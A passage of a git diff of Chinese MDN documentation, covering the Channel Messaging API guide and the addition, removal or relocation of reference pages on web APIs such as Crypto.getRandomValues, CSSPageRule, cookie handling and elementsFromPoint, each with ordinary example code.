Channel Messaging API 可以让运行在不同浏览器上下文中的独立脚本,连接到同一份文档(比如:两个 IFrame, 或者主文档和一个 IFrame, 或者使用同一个 {{domxref("SharedWorker")}} 的两份文档),并直接通信,通过每端一个 port 的双向频道(或管道)在两者之间传递消息。

- -

在文本中,我们将探索这项技术的基本用法。

- -

{{AvailableInWorkers}}

- -

用例

- -

Channel messaging 在这样的场景中特别有用:假如你有一个社交站点,它在主界面中通过 IFrame 内嵌了来自其他站点的内容,比如游戏,通讯录或者一个音乐播放器,有着个性化的音乐选择。当这些内容作为独立的单元时,一切都是 OK 的,但是当你想在主站点和 IFrame, 或者在不同的 IFrame 中交互时,困难就出现了。举例来说,假如你想从主站点向通讯录里添加一个联系人;或者想从游戏里,把最高分加入到个人资料;又或者,希望从音频播放器里,添加新的背景音乐到游戏中?因为浏览器使用的安全模型,使用传统的 web 技术来做这些事并不容易。你必须去考虑不同的源之间彼此是否信任,以及如何传递消息。

- -

换个角度说,Message Channels 可以提供一个安全的通道让你在不同的浏览器上下文间传递数据。

- -
-

提示: 要了解更多信息和思考,规范的 Ports 作为 Web 上一个对象兼容模型的基础 章节值得一读。

-
- -

简单的例子

- -

为了帮助你开始,我们在 Github 上传了一些 demo. 一开始可以先看我们的 channel messaging 基本示例 (也可以在线运行),它展示了一个非常简单的消息传递,发生在页面和内嵌 {{htmlelement("iframe")}} 之间。 

- -

然后,看看我们的 multimessaging demo (在线运行),它展示了一个稍微复杂一点的例子,可以在主页面和 IFrame 之间发送多条消息。

- -

本文中,我们重点说后面的这个例子。它看起来像是这样:

- -

- -

创建 channel

- -

在例子的主页面,我们有一个简单的表单,内含一个文本输入框,用来输入要发送到 {{htmlelement("iframe")}} 的消息。我们还有一个段落,我们在稍后将会用它来显示 {{htmlelement("iframe")}} 回传回来的确认消息。

- -
var input = document.getElementById('message-input');
-var output = document.getElementById('message-output');
-var button = document.querySelector('button');
-var iframe = document.querySelector('iframe');
-
-var channel = new MessageChannel();
-var port1 = channel.port1;
-
-// 等待 iframe 加载
-iframe.addEventListener("load", onLoad);
-
-function onLoad() {
-  // 监听按钮点击
-  button.addEventListener('click', onClick);
-
-  // 在 port1 监听消息
-  port1.onmessage = onMessage;
-
-  // 把 port2 传给 iframe
-  iframe.contentWindow.postMessage('init', '*', [channel.port2]);
-}
-
-// 当按钮点击时,在 port1 上发送一个消息
-function onClick(e) {
-  e.preventDefault();
-  port1.postMessage(input.value);
-}
-
-// 处理 port1 收到的消息
-function onMessage(e) {
-  output.innerHTML = e.data;
-  input.value = '';
-}
- -

我们从使用 {{domxref( "MessageChannel.MessageChannel","MessageChannel()")}} 构造函数创建了一个 message channel 开始。

- -

当 IFrame 加载完成,我们在按钮上注册了onclick 事件处理函数,在 {{domxref("MessageChannel.port1")}} 注册了 onmessage 事件处理函数。最后,我们使用 {{domxref("window.postMessage")}} 方法把 {{domxref("MessageChannel.port2")}} 传给 IFrame.

- -

让我们来了解一下 iframe.contentWindow.postMessage 更多的工作细节。它接受三个参数:

- -
    -
  1. 被发送的消息。对于一开始的 port 传递,这个消息可以是个空字符串,但是在例子里,我们传了 'init'.
  2. -
  3. 消息将被发送到的源(origin)。 * 意思是 "任何源".
  4. -
  5. 一个对象,它的所有权会被传给接受的浏览器上下文。在本例中,我们把 {{domxref("MessageChannel.port2")}} 传给了 IFrame, 然后它就可以用于与主页面通信了。
  6. -
- -

当我们的按钮被点击时,我们阻止了默认的表单提交,然后把输入到输入框里的内容通过 {{domxref("MessageChannel")}} 发送给 IFrame.

- -

在 IFrame 里接收 port 和消息

- -

在 IFrame 里,我们有下面的 JavaScript:

- -
var list = document.querySelector('ul');
-var port2;
-
-// 监听初始的 port 传递消息
-window.addEventListener('message', initPort);
-
-// 设置传过来的 port
-function initPort(e) {
-  port2 = e.ports[0];
-  port2.onmessage = onMessage;
-}
-
-// 处理 port2 收到的消息
-function onMessage(e) {
-  var listItem = document.createElement('li');
-  listItem.textContent = e.data;
-  list.appendChild(listItem);
-  port2.postMessage('Message received by IFrame: "' + e.data + '"');
-}
-
- -

当收到从主页面通过 {{domxref("window.postMessage")}} 方法传来的初始化消息时,我们运行 initPort 函数。它会保存传来的 port, 并且注册了一个 onmessage 事件处理器,每当有消息通过我们的 {{domxref("MessageChannel")}} 传来时,它都会被调用。

- -

当收到从主页面发来的消息时,我们创建一个列表项,并把它插入到这个无序列表中,然后把这个列表项的 {{domxref("Node.textContent","textContent")}} 设置为事件的 data 属性(里面包含真正的消息)。

- -

然后,我们通过在初始化时传到 IFrame 的 {{domxref("MessageChannel.port2")}} 上调用 {{domxref("MessagePort.postMessage")}} 来使用 message channel 发送一个确认消息给主页面。

- -

在主页面中接收确认消息

- -

回到主页面,我们来一起看看 onmessage 事件处理函数。

- -
// 处理 port1 上收到的消息
-function onMessage(e) {
-  output.innerHTML = e.data;
-  input.value = '';
-}
- -

当收到从 IFrame 发来的确认消息,说明原始消息被成功接收时,它把确认消息输出到段落中,并清空输入框,为输入下一个要被发送的消息做准备。

- -

规范

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('HTML WHATWG', 'web-messaging.html#channel-messaging', 'Channel messaging')}}{{Spec2('HTML WHATWG')}}
- -

浏览器兼容性

- -
-

MessageChannel

- -
- - -

{{Compat("api.MessageChannel", 0)}}

- -

MessagePort

- -
- - -

{{Compat("api.MessagePort", 0)}}

-
-
-
- -

参见

- - diff --git a/files/zh-cn/web/api/crypto/getrandomvalues/index.html b/files/zh-cn/web/api/crypto/getrandomvalues/index.html new file mode 100644 index 0000000000..5df5fb0a83 --- /dev/null +++ b/files/zh-cn/web/api/crypto/getrandomvalues/index.html @@ -0,0 +1,77 @@ +--- +title: Crypto.getRandomValues() +slug: Web/API/RandomSource/getRandomValues +tags: + - API + - 加密 + - 参考 + - 安全 + - 密码学 + - 方法 +translation_of: Web/API/Crypto/getRandomValues +--- +

{{APIRef("Web Crypto API")}}

+ +

Crypto.getRandomValues() 方法让你可以获取符合密码学要求的安全的随机值。传入参数的数组被随机值填充(在加密意义上的随机)。

+ +

为了确保足够的性能,不使用真正的随机数生成器,但是它们正在使用具有足够熵值伪随机数生成器。它所使用的 PRNG 的实现与其他不同,但适用于加密的用途。该实现还需要使用具有足够熵的种子,如系统级熵源。

+ +

语法

+ +
cryptoObj.getRandomValues(typedArray);
+ +

参数

+ +
+
typedArray
+
是一个基于整数的 {{jsxref("TypedArray")}},它可以是 {{jsxref("Int8Array")}}、{{jsxref("Uint8Array")}}、{{jsxref("Int16Array")}}、 {{jsxref("Uint16Array")}}、 {{jsxref("Int32Array")}} 或者 {{jsxref("Uint32Array")}}。在数组中的所有的元素会被随机数重写。(注释:生成的随机数储存在 typedArray 数组上。)
+
+ +

异常事件

+ + + +

例子

+ +
/* 假设 window.crypto.getRandomValues 可用 */
+
+var array = new Uint32Array(10);
+window.crypto.getRandomValues(array);
+
+console.log("Your lucky numbers:");
+for (var i = 0; i < array.length; i++) {
+    console.log(array[i]);
+}
+
+ +

标准

+ + + + + + + + + + + + + + +
规范状态备注
{{SpecName('Web Crypto API', '#RandomSource-method-getRandomValues')}}{{Spec2('Web Crypto API')}}Initial definition
+ +

浏览器兼容性

+ + + +

{{Compat("api.Crypto.getRandomValues")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/cssmatrix/index.html b/files/zh-cn/web/api/cssmatrix/index.html deleted file mode 100644 index 16fe55276d..0000000000 --- a/files/zh-cn/web/api/cssmatrix/index.html +++ /dev/null @@ -1,94 +0,0 @@ ---- -title: CSSMatrix -slug: Web/API/CSSMatrix -translation_of: Web/API/DOMMatrix -translation_of_original: Web/API/CSSMatrix ---- -
{{APIRef("CSSOM")}}{{Non-standard_header}}
- -

CSSMatrix 代表可以用于2D或3D变换的4x4齐次矩阵。据说这个类曾经是 CSS Transitions Module Level 3 的一部分,但在现在的工作草案里不存在 。请使用  DOMMatrix

- -

规范

- - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('Compat', '#webkitcssmatrix-interface', 'WebKitCSSMatrix')}}{{Spec2('Compat')}}Initial standardization of the WebKit-prefixed version, WebKitCSSMatrix.
- -

浏览器兼容性

- -

{{CompatibilityTable}}

- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}10[1]{{CompatUnknown}}{{CompatVersionUnknown}}[2]
-
- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
基本支持{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}11[1]{{CompatUnknown}}{{CompatVersionUnknown}}[2]
-
- -

[1] Internet Explorer 将此 API实现为MSCSSMatrix。在版本11中,加入了别名WebKitCSSMatrix

- -

[2] WebKit 将此 API实现为WebKitCSSMatrix

- -

相关链接

- - diff --git a/files/zh-cn/web/api/csspagerule/index.html b/files/zh-cn/web/api/csspagerule/index.html new file mode 100644 index 0000000000..ff1d047a59 --- /dev/null +++ b/files/zh-cn/web/api/csspagerule/index.html @@ -0,0 +1,65 @@ +--- +title: CSS分页规则 +slug: Web/API/CSS分页规则 +translation_of: Web/API/CSSPageRule +--- +
{{APIRef("CSSOM")}}
+ +

CSSPageRule  是代表一个css接口 {{cssxref("@page")}} 规则. 它实现了 {{domxref("CSSRule")}} 类型值为6的接口 (CSSRule.PAGE_RULE).

+ +

语法

+ +

这个语法是使用 WebIDL 格式.

+ +
interface CSSPageRule : CSSRule {
+  attribute DOMString selectorText;
+  readonly attribute CSSStyleDeclaration style;
+};
+
+ +

Properties

+ +

 {{domxref("CSSRule")}}, CSSPageRule 也实现了此接口的属性。 它具有以下特定属性:

+ +
+
{{domxref("CSSPageRule.selectorText")}}
+
表示与规则关联的页面选择器的文本。
+
{{domxref("CSSPageRule.style")}} {{readonlyinline}}
+
返回与规则关联的声明块。
+
+ +

Methods

+ +

作为 {{domxref("CSSRule")}}, CSSPageRule 的CSSPageRule还实现了该接口的方法。 它没有具体方法。

+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + +
规格状态注释
{{SpecName('CSSOM', '#the-csspagerule-interface', 'CSSPageRule')}}{{Spec2('CSSOM')}} +

没有变化 {{SpecName('DOM2 Style')}}

+
{{SpecName('DOM2 Style', 'css.html#CSS-CSSPageRule', 'CSSPageRule')}}{{Spec2('DOM2 Style')}}初始定义
+ +

Browser compatibility

+ + + +

{{Compat("api.CSSPageRule")}}

diff --git "a/files/zh-cn/web/api/css\345\210\206\351\241\265\350\247\204\345\210\231/index.html" "b/files/zh-cn/web/api/css\345\210\206\351\241\265\350\247\204\345\210\231/index.html" deleted file mode 100644 index ff1d047a59..0000000000 --- "a/files/zh-cn/web/api/css\345\210\206\351\241\265\350\247\204\345\210\231/index.html" +++ /dev/null @@ -1,65 +0,0 @@ ---- -title: CSS分页规则 -slug: Web/API/CSS分页规则 -translation_of: Web/API/CSSPageRule ---- -
{{APIRef("CSSOM")}}
- -

CSSPageRule  是代表一个css接口 {{cssxref("@page")}} 规则. 它实现了 {{domxref("CSSRule")}} 类型值为6的接口 (CSSRule.PAGE_RULE).

- -

语法

- -

这个语法是使用 WebIDL 格式.

- -
interface CSSPageRule : CSSRule {
-  attribute DOMString selectorText;
-  readonly attribute CSSStyleDeclaration style;
-};
-
- -

Properties

- -

 {{domxref("CSSRule")}}, CSSPageRule 也实现了此接口的属性。 它具有以下特定属性:

- -
-
{{domxref("CSSPageRule.selectorText")}}
-
表示与规则关联的页面选择器的文本。
-
{{domxref("CSSPageRule.style")}} {{readonlyinline}}
-
返回与规则关联的声明块。
-
- -

Methods

- -

作为 {{domxref("CSSRule")}}, CSSPageRule 的CSSPageRule还实现了该接口的方法。 它没有具体方法。

- -

Specifications

- - - - - - - - - - - - - - - - - - - - - -
规格状态注释
{{SpecName('CSSOM', '#the-csspagerule-interface', 'CSSPageRule')}}{{Spec2('CSSOM')}} -

没有变化 {{SpecName('DOM2 Style')}}

-
{{SpecName('DOM2 Style', 'css.html#CSS-CSSPageRule', 'CSSPageRule')}}{{Spec2('DOM2 Style')}}初始定义
- -

Browser compatibility

- - - -

{{Compat("api.CSSPageRule")}}

diff --git a/files/zh-cn/web/api/deviceacceleration/index.html b/files/zh-cn/web/api/deviceacceleration/index.html deleted file mode 100644 index 34b215d781..0000000000 --- a/files/zh-cn/web/api/deviceacceleration/index.html +++ /dev/null @@ -1,47 +0,0 @@ ---- -title: DeviceAcceleration -slug: Web/API/DeviceAcceleration -tags: - - API - - 传感器 - - 实验性 - - 接口 - - 需要示例 -translation_of: Web/API/DeviceMotionEventAcceleration -translation_of_original: Web/API/DeviceAcceleration ---- -
{{ ApiRef("Device Orientation Events") }}{{SeeCompatTable}}
- -
 
- -

设备加速对象可以提供有关设备沿三个轴(x、y、z)的加速度的信息。

- -

属性

- -
-
{{domxref("DeviceAcceleration.x")}} {{readonlyInline}}
-
沿X轴的加速度量(只读)
-
{{domxref("DeviceAcceleration.y")}} {{readonlyInline}}
-
沿Y轴的加速度量(只读)
-
{{domxref("DeviceAcceleration.z")}} {{readonlyInline}}
-
沿Z轴的加速度量(只读)
-
- -

说明

- - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName("Device Orientation", "#device_acceleration", "DeviceAcceleration")}}{{Spec2("Device Orientation")}}Initial definition
diff --git a/files/zh-cn/web/api/devicelightevent/using_light_events/index.html b/files/zh-cn/web/api/devicelightevent/using_light_events/index.html deleted file mode 100644 index f90edf8ca2..0000000000 --- a/files/zh-cn/web/api/devicelightevent/using_light_events/index.html +++ /dev/null @@ -1,74 +0,0 @@ ---- -title: Using Light Events -slug: Web/API/DeviceLightEvent/Using_light_events -tags: - - WebAPI - - 事件 - - 环境光 -translation_of: Web/API/Ambient_Light_Events ---- -
{{DefaultAPISidebar("Ambient Light Events")}}{{SeeCompatTable}}
- -

环境光线事件是一个易用的让网页或应用感知光强变化的方法。它使网页或应用能对光强变化做出反应,例如改变用户界面的颜色对比度,或为拍照而改变曝光度。

- -

光线事件

- -

当设备的光线传感器检测到光强等级的变化时,它会向浏览器通知这个变化。当浏览器得到这个通知后,会发送(fire)一个提供光强信息的 {{domxref("DeviceLightEvent")}} 事件。

- -

想要捕获这个事件,可用 {{domxref("EventTarget.addEventListener","addEventListener")}} 方法把事件处理器绑定到 window 上(使用 {{event("devicelight")}} 事件名),或者直接把事件处理器赋值给 {{domxref("window.ondevicelight")}} 属性。

- -

该事件被捕捉后,可以从传入的事件对象上的 {{domxref("DeviceLightEvent.value")}} 属性获取光强(单位为 {{interwiki("wikipedia", "lux")}})。

- -

示例

- -
if ('ondevicelight' in window) {
-  window.addEventListener('devicelight', function(event) {
-    var body = document.querySelector('body');
-    if (event.value < 50) {
-      body.classList.add('darklight');
-      body.classList.remove('brightlight');
-    } else {
-      body.classList.add('brightlight');
-      body.classList.remove('darklight');
-    }
-  });
-} else {
-  console.log('不支持 devicelight 事件');
-}
-
- -

规范

- - - - - - - - - - - - - - - - -
规范状态备注
{{ SpecName('AmbientLight', '', 'Ambient Light Events') }}{{ Spec2('AmbientLight') }}首次定义
- -

浏览器兼容性

- - - -

{{Compat("api.DeviceLightEvent")}}

- -

Gecko 备注

- -

{{event("devicelight")}} 事件在 Firefox Mobile for Android (15.0) 和 Firefox OS (B2G) 上实现并默认可用。从Gecko 22.0 {{geckoRelease("22.0")}} 开始,Mac OS X桌面版也可使用该事件。

- -

参见

- - diff --git a/files/zh-cn/web/api/devicemotioneventacceleration/index.html b/files/zh-cn/web/api/devicemotioneventacceleration/index.html new file mode 100644 index 0000000000..34b215d781 --- /dev/null +++ b/files/zh-cn/web/api/devicemotioneventacceleration/index.html @@ -0,0 +1,47 @@ +--- +title: DeviceAcceleration +slug: Web/API/DeviceAcceleration +tags: + - API + - 传感器 + - 实验性 + - 接口 + - 需要示例 +translation_of: Web/API/DeviceMotionEventAcceleration +translation_of_original: Web/API/DeviceAcceleration +--- +
{{ ApiRef("Device Orientation Events") }}{{SeeCompatTable}}
+ +
 
+ +

设备加速对象可以提供有关设备沿三个轴(x、y、z)的加速度的信息。

+ +

属性

+ +
+
{{domxref("DeviceAcceleration.x")}} {{readonlyInline}}
+
沿X轴的加速度量(只读)
+
{{domxref("DeviceAcceleration.y")}} {{readonlyInline}}
+
沿Y轴的加速度量(只读)
+
{{domxref("DeviceAcceleration.z")}} {{readonlyInline}}
+
沿Z轴的加速度量(只读)
+
+ +

说明

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("Device Orientation", "#device_acceleration", "DeviceAcceleration")}}{{Spec2("Device Orientation")}}Initial definition
diff --git a/files/zh-cn/web/api/document/cookie/simple_document.cookie_framework/index.html b/files/zh-cn/web/api/document/cookie/simple_document.cookie_framework/index.html deleted file mode 100644 index 450751cefa..0000000000 --- a/files/zh-cn/web/api/document/cookie/simple_document.cookie_framework/index.html +++ /dev/null @@ -1,218 +0,0 @@ ---- -title: 简单的cookie框架 -slug: Web/API/Document/cookie/Simple_document.cookie_framework -tags: - - Cookies - - cookie -translation_of: Web/API/Document/cookie/Simple_document.cookie_framework ---- -

一个小型框架: 一个完整的cookies读/写器对Unicode充分支持

- -

由于Cookie只是特殊格式的字符串,因此有时很难管理它们。 以下库旨在通过定义一个与一个Storage 对象部分一致的对象(docCookies)来抽象对document.cookie的访问。

- -

 以下代码也在GitHub上获取。它是基于GNU General Public License v3.0 许可 (许可链接)

- -
- -
/*\
-|*|
-|*|  :: cookies.js ::
-|*|
-|*|  A complete cookies reader/writer framework with full unicode support.
-|*|
-|*|  Revision #1 - September 4, 2014
-|*|
-|*|  https://developer.mozilla.org/en-US/docs/Web/API/document.cookie
-|*|  https://developer.mozilla.org/User:fusionchess
-|*|  https://github.com/madmurphy/cookies.js
-|*|
-|*|  This framework is released under the GNU Public License, version 3 or later.
-|*|  http://www.gnu.org/licenses/gpl-3.0-standalone.html
-|*|
-|*|  Syntaxes:
-|*|
-|*|  * docCookies.setItem(name, value[, end[, path[, domain[, secure]]]])
-|*|  * docCookies.getItem(name)
-|*|  * docCookies.removeItem(name[, path[, domain]])
-|*|  * docCookies.hasItem(name)
-|*|  * docCookies.keys()
-|*|
-\*/
-
-var docCookies = {
-  getItem: function (sKey) {
-    if (!sKey) { return null; }
-    return decodeURIComponent(document.cookie.replace(new RegExp("(?:(?:^|.*;)\\s*" + encodeURIComponent(sKey).replace(/[\-\.\+\*]/g, "\\$&") + "\\s*\\=\\s*([^;]*).*$)|^.*$"), "$1")) || null;
-  },
-  setItem: function (sKey, sValue, vEnd, sPath, sDomain, bSecure) {
-    if (!sKey || /^(?:expires|max\-age|path|domain|secure)$/i.test(sKey)) { return false; }
-    var sExpires = "";
-    if (vEnd) {
-      switch (vEnd.constructor) {
-        case Number:
-          sExpires = vEnd === Infinity ? "; expires=Fri, 31 Dec 9999 23:59:59 GMT" : "; max-age=" + vEnd;
-          break;
-        case String:
-          sExpires = "; expires=" + vEnd;
-          break;
-        case Date:
-          sExpires = "; expires=" + vEnd.toUTCString();
-          break;
-      }
-    }
-    document.cookie = encodeURIComponent(sKey) + "=" + encodeURIComponent(sValue) + sExpires + (sDomain ? "; domain=" + sDomain : "") + (sPath ? "; path=" + sPath : "") + (bSecure ? "; secure" : "");
-    return true;
-  },
-  removeItem: function (sKey, sPath, sDomain) {
-    if (!this.hasItem(sKey)) { return false; }
-    document.cookie = encodeURIComponent(sKey) + "=; expires=Thu, 01 Jan 1970 00:00:00 GMT" + (sDomain ? "; domain=" + sDomain : "") + (sPath ? "; path=" + sPath : "");
-    return true;
-  },
-  hasItem: function (sKey) {
-    if (!sKey) { return false; }
-    return (new RegExp("(?:^|;\\s*)" + encodeURIComponent(sKey).replace(/[\-\.\+\*]/g, "\\$&") + "\\s*\\=")).test(document.cookie);
-  },
-  keys: function () {
-    var aKeys = document.cookie.replace(/((?:^|\s*;)[^\=]+)(?=;|$)|^\s*|\s*(?:\=[^;]*)?(?:\1|$)/g, "").split(/\s*(?:\=[^;]*)?;\s*/);
-    for (var nLen = aKeys.length, nIdx = 0; nIdx < nLen; nIdx++) { aKeys[nIdx] = decodeURIComponent(aKeys[nIdx]); }
-    return aKeys;
-  }
-};
- -
Note: 对于never-expire-cookies  我们使用一个随意的遥远日期Fri, 31 Dec 9999 23:59:59 GMT. 处于任何原因,你担心这样一个日期,使用 惯例世界末日Tue, 19 Jan 2038 03:14:07 GMT - 这是自1970年1月1日00:00:00 UTC以来使用 有符号的32位二进制整数表示的最大秒数。(i.e., 01111111111111111111111111111111 which is new Date(0x7fffffff * 1e3)).
- -

cookie的写入

- -
语法
- -
docCookies.setItem(name, value[, end[, path[, domain[, secure]]]])
- -
Description
- -

新增/重写一个 cookie.

- -
参数
- -
-
name
-
新增/重写一个 cookie的 名字  (字符传).
-
value
-
cookie的 (字符串).
-
end 可选
-
max-age(最大有效时间)单位秒 (e.g. 31536e3 表示一年, Infinity  表示永不过期的cookie), 或者以GMTString 格式或者Date object 的expires date(过期时间); 如果没有,指定的cookie将在会话结束时到期 (number – finite or Infinitystring, Date object or null). -
-

Note: 尽管 officially defined in rfc6265, max-age 在 Internet Explorer, Edg和一些移动端浏览器上不兼容. 因此,将数字传递给end参数可能无法按预期工作. 可能的解决方案可能是将相对时间转换为绝对时间。例如,以下代码:

- -
docCookies.setItem("mycookie", "Hello world!", 150);
- -

可以使用绝对日期重写,如下例所示:

- -
 maxAgeToGMT (nMaxAge) {
-  return nMaxAge === Infinity ? "Fri, 31 Dec 9999 23:59:59 GMT" : (new Date(nMaxAge * 1e3 + Date.now())).toUTCString();
-}
-
-docCookies.setItem("mycookie", "Hello world!", maxAgeToGMT(150));
- -

在上面的代码中,函数 maxAgeToGMT() 用于从相对时间(即,从“age”)创建GMTString.

-
-
-
path 可选
-
可访问此cookie的路径. 例如,“/”,“/ mydir”;如果未指定,则默认为当前文档位置的当前路径(string or null). The path must be absolute (see RFC 2965). For more information on how to use relative paths in this argument, see this paragraph.
-
domain 可选
-
可访问此cookie的域名. 例如,“example.com”“.example.com”(包括所有子域)或“subdomain.example.com”; 如果未指定,则默认为当前文档位置的主机端口(string or null).
-
secure 可选
-
cookie将仅通过https安全协议传输 (boolean or null).
-
- -

获取一个cookie

- -
语法
- -
docCookies.getItem(name)
- -
描述
- -

读一个cookie。如果cookie不存在,则返回null值。Parameters

- -
参数
- -
-
name
-
读取cookie的名字 (string).
-
- -

移除一个cookie

- -
语法
- -
docCookies.removeItem(name[, path[, domain]])
- -
描述
- -

删除一个cookie.

- -
参数
- -
-
name
-
待移除cookie的名字 (string).
-
path 可选
-
例如,"/","/ mydir";如果未指定,则默认为当前文档位置的当前路径 (string or null). The path must be absolute (see RFC 2965). For more information on how to use relative paths in this argument, see this paragraph.
-
domain 可选
-
例如, "example.com",  或者 "subdomain.example.com"; 如果未指定,则默认为当前文档位置的主机端口(字符串或null),但不包括子域。 (string or null), 但不包括子域名。与早期的规范相反,域名中的前置的点被忽略。如果指定了域,则始终包含子域。 -
Note: 要删除跨子域的cookie,您需要想setItem()样removeItem()中指定domain属性。
-
-
- -

检查一个cookie(是否存在)

- -
语法
- -
docCookies.hasItem(name)
- -
描述
- -

检查当前位置是否存在cookie。

- -
参数
- -
-
name
-
待检查cookie的名字 (string).
-
- -

获取所有cookie列表

- -
Syntax
- -
docCookies.keys()
- -
Description
- -

返回此位置的所有可读cookie的数组。

- -

Example usage:

- -
docCookies.setItem("test0", "Hello world!");
-docCookies.setItem("test1", "Unicode test: \u00E0\u00E8\u00EC\u00F2\u00F9", Infinity);
-docCookies.setItem("test2", "Hello world!", new Date(2020, 5, 12));
-docCookies.setItem("test3", "Hello world!", new Date(2027, 2, 3), "/blog");
-docCookies.setItem("test4", "Hello world!", "Wed, 19 Feb 2127 01:04:55 GMT");
-docCookies.setItem("test5", "Hello world!", "Fri, 20 Aug 88354 14:07:15 GMT", "/home");
-docCookies.setItem("test6", "Hello world!", 150);
-docCookies.setItem("test7", "Hello world!", 245, "/content");
-docCookies.setItem("test8", "Hello world!", null, null, "example.com");
-docCookies.setItem("test9", "Hello world!", null, null, null, true);
-docCookies.setItem("test1;=", "Safe character test;=", Infinity);
-
-alert(docCookies.keys().join("\n"));
-alert(docCookies.getItem("test1"));
-alert(docCookies.getItem("test5"));
-docCookies.removeItem("test1");
-docCookies.removeItem("test5", "/home");
-alert(docCookies.getItem("test1"));
-alert(docCookies.getItem("test5"));
-alert(docCookies.getItem("unexistingCookie"));
-alert(docCookies.getItem());
-alert(docCookies.getItem("test1;="));
-
diff --git a/files/zh-cn/web/api/document/elementfrompoint/index.html b/files/zh-cn/web/api/document/elementfrompoint/index.html deleted file mode 100644 index 6fb591e1da..0000000000 --- a/files/zh-cn/web/api/document/elementfrompoint/index.html +++ /dev/null @@ -1,45 +0,0 @@ ---- -title: Document.elementFromPoint() -slug: Web/API/Document/elementFromPoint -translation_of: Web/API/DocumentOrShadowRoot/elementFromPoint -translation_of_original: Web/API/Document/elementFromPoint ---- -
- {{APIRef()}} {{Fx_minversion_header(3)}}
-

概述

-

返回当前文档上处于指定坐标位置最顶层的元素, 坐标是相对于包含该文档的浏览器窗口的左上角为原点来计算的, 通常 x 和 y 坐标都应为正数.

-

语法

-
var element = document.elementFromPoint(x, y);
- -

示例

-
<!DOCTYPE html>
-<html lang="en">
-<head>
-<title>elementFromPoint example</title>
-
-<script>
-function changeColor(newColor) {
-  elem = document.elementFromPoint(2, 2);
-  elem.style.color = newColor;
-}
-</script>
-</head>
-
-<body>
-<p id="para1">Some text here</p>
-<button onclick="changeColor('blue');">blue</button>
-<button onclick="changeColor('red');">red</button>
-</body>
-</html>
-
-

附注

-

If the element at the specified point belongs to another document (for example, an iframe's subdocument), the element in the DOM of the document the method is called on (in the iframe case, the iframe itself) is returned. If the element at the given point is anonymous or XBL generated content, such as a textbox's scroll bars, then the first non-anonymous ancestor element (for example, the textbox) is returned.

-

If the specified point is outside the visible bounds of the document or either coordinate is negative, the result is null.

-

{{Note("Callers from XUL documents should wait until the onload event has fired before calling this method.")}}

-

规范

- diff --git a/files/zh-cn/web/api/document/elementsfrompoint/index.html b/files/zh-cn/web/api/document/elementsfrompoint/index.html deleted file mode 100644 index 9a7ee01503..0000000000 --- a/files/zh-cn/web/api/document/elementsfrompoint/index.html +++ /dev/null @@ -1,129 +0,0 @@ ---- -title: Document.elementsFromPoint() -slug: Web/API/Document/elementsFromPoint -translation_of: Web/API/DocumentOrShadowRoot/elementsFromPoint -translation_of_original: Web/API/Document/elementsFromPoint ---- -
{{APIRef("DOM")}}{{SeeCompatTable}}
- -

elementsFromPoint() 方法可以获取到当前视口内指定坐标处,由里到外排列的所有元素。

- -

语法

- -
var elements = document.elementsFromPoint(x, y);
- -

返回值

- -

一个包含多个元素的数组

- -

参数

- -
-
x
-
当前视口内某一点的横坐标
-
y
-
当前视口内某一点的纵坐标
-
- -

示例

- -

HTML

- -
<div>
-  <p>Some text</p>
-</div>
-<p>Elements at point 30, 20:</p>
-<div id="output"></div>
-
- -

JavaScript

- -
var output = document.getElementById("output");
-if (document.elementsFromPoint) {
-  var elements = document.elementsFromPoint(30, 20);
-  for(var i = 0; i < elements.length; i++) {
-    output.textContent += elements[i].localName;
-    if (i < elements.length - 1) {
-      output.textContent += " < ";
-    }
-  }
-} else {
-  output.innerHTML = "<span style=\"color: red;\">" +
-     "您的浏览器不支持 <code>document.elementsFromPoint()</code>" +
-     "</span>";
-}
- -

{{EmbedLiveSample('Example', '420', '120')}}

- -

规范

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('CSSOM View', '#dom-document-elementsfrompoint', 'elementsFromPoint')}}{{Spec2('CSSOM View')}}Initial definition.
- -

浏览器兼容性

- -

{{CompatibilityTable}}

- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support {{CompatChrome(43.0)}}{{CompatGeckoDesktop("46.0")}}[1]10.0 {{property_prefix("ms")}}{{CompatUnknown}}{{CompatSafari(11)}}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)IE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatNo}}{{CompatChrome(43.0)}}{{CompatGeckoMobile("46.0")}}[1]{{CompatUnknown}}{{CompatUnknown}}{{CompatSafari(11)}}{{CompatChrome(43.0)}}
-
- -

 

diff --git a/files/zh-cn/web/api/document/fullscreen/index.html b/files/zh-cn/web/api/document/fullscreen/index.html new file mode 100644 index 0000000000..eb15adcede --- /dev/null +++ b/files/zh-cn/web/api/document/fullscreen/index.html @@ -0,0 +1,108 @@ +--- +title: document.mozFullScreen +slug: Web/API/Document/mozFullScreen +translation_of: Web/API/Document/fullscreen +--- +

 

+ +

{{APIRef("Fullscreen API")}}{{Deprecated_Header}}

+ +

过时的{{domxref("Document")}}接口的 fullscreen 只读属性报告文档当前是否以全屏模式显示内容。

+ +

虽然这个属性是只读的,但如果修改它,它不会抛出(即使在严格模式下);setter是一个非操作,它将被忽略。

+ +
+

注意: 由于不推荐使用此属性,您可以通过检查{{DOMxRef("document.fullscreenelement")}}是否为null来确定文档上是否启用全屏模式。

+
+ +

 

+ +

概述

+ +

返回一个布尔值,表明当前文档是否处于全屏模式.

+ +

语法

+ +
var isFullScreen = document.mozFullScreen || document.webkitIsFullScreen;
+
+ +

例子

+ +
function isDocumentInFullScreenMode() {
+  // 过去由F11触发的那种浏览器全屏模式和HTML5中内容的全屏模式是不一样的
+  return (document.fullscreenElement && document.fullscreenElement !== null) ||
